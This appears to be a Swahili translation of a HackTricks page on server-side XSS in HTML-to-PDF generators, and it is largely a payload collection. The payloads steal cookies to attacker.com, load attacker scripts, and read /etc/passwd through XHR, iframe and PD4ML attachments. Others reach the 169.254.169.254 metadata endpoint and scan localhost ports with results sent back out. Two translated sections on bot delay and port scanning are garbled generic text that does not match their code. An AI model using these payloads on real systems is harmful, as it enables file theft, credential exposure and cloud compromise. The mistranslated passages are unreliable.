12 KiB
Server Side XSS (Dynamic PDF)
Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako inatangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi wa PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa kipekee wa NFTs
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa HackTricks na HackTricks Cloud repos za github.
Server Side XSS (Dynamic PDF)
Ikiwa ukurasa wa wavuti unatengeneza PDF kwa kutumia kuingiza kutoka kwa mtumiaji, unaweza kujaribu kudanganya bot ambayo inatengeneza PDF kuwa utekelezaji wa nambari ya JS isiyo ya kawaida.
Kwa hivyo, ikiwa bot ya mtengenezaji wa PDF inapata aina fulani ya vitambulisho vya HTML, itavichukulia, na unaweza kutumia tabia hii kusababisha Server XSS.
Tafadhali kumbuka kuwa vitambulisho vya <script></script>
havifanyi kazi kila wakati, kwa hivyo utahitaji njia tofauti ya kutekeleza JS (kwa mfano, kwa kudhulumu <img
).
Pia, kumbuka kuwa katika udanganyifu wa kawaida utaweza kuona/kupakua PDF iliyoundwa, kwa hivyo utaweza kuona kila kitu unachoweza kuandika kupitia JS (kwa kutumia document.write()
kwa mfano). Lakini, ikiwa hauwezi kuona PDF iliyoundwa, labda utahitaji kuchukua habari kwa kufanya ombi la wavuti kwako (Blind).
Uzalishaji Maarufu wa PDF
- wkhtmltopdf inajulikana kwa uwezo wake wa kubadilisha HTML na CSS kuwa hati za PDF, kwa kutumia injini ya uundaji wa WebKit. Zana hii inapatikana kama programu ya amri ya chanzo wazi, ikifanya iweze kupatikana kwa anuwai ya matumizi.
- TCPDF inatoa suluhisho imara ndani ya mazingira ya PHP kwa uundaji wa PDF. Inaweza kushughulikia picha, michoro, na kusimbwa, ikionyesha uwezo wake wa kuunda hati ngumu.
- Kwa wale wanaofanya kazi katika mazingira ya Node.js, PDFKit inatoa chaguo linalofaa. Inawezesha uundaji wa hati za PDF moja kwa moja kutoka kwa HTML na CSS, ikitoa daraja kati ya yaliyomo kwenye wavuti na muundo unaoweza kuchapishwa.
- Watengenezaji wa Java wanaweza kupendelea iText, maktaba ambayo sio tu inafanikisha uundaji wa PDF lakini pia inasaidia huduma za juu kama saini za dijiti na kujaza fomu. Seti yake kamili ya huduma inafanya iweze kuzalisha hati salama na za kuingiliana.
- FPDF ni maktaba nyingine ya PHP, inayotambulika kwa urahisi wake na urahisi wa matumizi. Imetengenezwa kwa watengenezaji wanaotafuta njia rahisi ya kuzalisha PDF, bila hitaji la huduma kubwa.
Payloads
Ugunduzi
<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
SVG
Moja ya malipo ya awali au yafuatayo yanaweza kutumika ndani ya malipo haya ya SVG. Iframe moja inayofikia subdomain ya Burpcollab na nyingine inayofikia mwisho wa metadata zimeorodheshwa kama mifano.
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>
Unaweza kupata mizigo mingine ya SVG nyingi katika https://github.com/allanlw/svg-cheatsheet
Kufichua njia
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>
Pakia skripti ya nje
Njia bora ya kutumia udhaifu huu ni kuchangamkia udhaifu ili kufanya boti ipakie skripti unayodhibiti kwa kifaa chako. Kisha, utaweza kubadilisha mzigo kwa kifaa chako na kufanya boti ipakie mzigo huo kila wakati na namna ile ile ya nambari.
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
Soma faili ya ndani / SSRF
{% hint style="warning" %}
Badilisha file:///etc/passwd
kwa http://169.254.169.254/latest/user-data
kwa mfano ili jaribu kufikia ukurasa wa wavuti wa nje (SSRF).
Ikiwa SSRF imeidhinishwa, lakini hauwezi kufikia kikoa au anwani ya IP inayovutia, angalia ukurasa huu kwa njia za kuzunguka zinazowezekana. {% endhint %}
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
Kuchelewesha Boti
Boti ni programu zinazofanya kazi kiotomatiki kwenye mtandao. Kwa sababu ya shughuli zao za kiotomatiki, boti zinaweza kugunduliwa na kuzuiwa na hatua za usalama. Kuchelewesha boti kunaweza kuwa njia ya kuepuka kugunduliwa na kuzuiwa.
Kuna njia kadhaa za kuchelewesha boti:
-
Kuchelewesha wakati: Unaweza kuweka kuchelewa kati ya maombi ya boti ili kufanya ionekane kama binadamu anafanya shughuli hizo. Kwa mfano, unaweza kuweka kuchelewa kati ya maombi ya boti kwa sekunde kadhaa au dakika.
-
Kuchelewesha vitendo: Badala ya kutuma maombi yote kwa wakati mmoja, unaweza kuchelewesha vitendo vya boti kwa kusambaza maombi kwa muda. Hii inaweza kufanya iwe ngumu kwa wamiliki wa wavuti kugundua shughuli za kiotomatiki.
-
Kubadilisha tabia: Unaweza kubadilisha tabia ya boti kwa kufanya vitendo vyake viwe tofauti na vitendo vya kawaida vya boti. Kwa mfano, unaweza kubadilisha kichwa cha maombi ya boti, kutumia anwani za IP tofauti, au kubadilisha njia ya kufikia wavuti.
Kumbuka kwamba kuchelewesha boti kunaweza kuwa kinyume cha sheria au kukiuka sera za wavuti fulani. Kabla ya kuchelewesha boti, hakikisha una ruhusa sahihi na kuzingatia sheria na sera zinazohusika.
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">
Uchunguzi wa Bandari
Uchunguzi wa bandari ni mchakato wa kutambua bandari zinazofunguliwa kwenye mfumo wa kompyuta ili kugundua huduma zinazopatikana. Kwa kufanya hivyo, mtu anaweza kujua ni huduma gani zinazotumika na kama kuna bandari zilizofunguliwa ambazo zinaweza kutumiwa kwa madhumuni mabaya.
Kuna njia kadhaa za kufanya uchunguzi wa bandari, ikiwa ni pamoja na kutumia zana za kiotomatiki kama Nmap au kutumia amri za mfumo wa uendeshaji kama netstat
au nmap
. Uchunguzi wa bandari unaweza kusaidia katika kugundua udhaifu wa usalama na kuchukua hatua za kurekebisha mapungufu hayo.
Ni muhimu kutambua kuwa uchunguzi wa bandari unapaswa kufanywa kwa idhini ya mmiliki wa mfumo wa kompyuta na kwa madhumuni ya kuboresha usalama. Matumizi mabaya ya uchunguzi wa bandari yanaweza kusababisha madhara makubwa, ikiwa ni pamoja na kukiuka sheria za faragha na kusababisha uharibifu wa mali au data.
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}
for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">
SSRF
Mkosefu huu unaweza kubadilishwa kwa urahisi sana kuwa SSRF (kwa sababu unaweza kuwezesha skripti kupakia rasilimali za nje). Jaribu kuitumia (soma baadhi ya metadata?).
Viambatisho: PD4ML
Kuna injini kadhaa za HTML 2 PDF ambazo huruhusu kuweka viambatisho kwenye PDF, kama vile PD4ML. Unaweza kutumia kipengele hiki kuweka faili yoyote ya ndani kwenye PDF.
Kufungua kiambatisho, nimefungua faili na Firefox na bonyeza mara mbili ishara ya kijiti cha karatasi ili hifadhi kiambatisho kama faili mpya.
Kukamata jibu la PDF na burp pia itaonyesha kiambatisho kwa maandishi wazi ndani ya PDF.
{% code overflow="wrap" %}
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>
{% endcode %}
Marejeo
- https://lbherrera.github.io/lab/h1415-ctf-writeup.html
- https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/
- https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html
- https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako inatangazwa kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi wa PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa HackTricks na HackTricks Cloud github repos.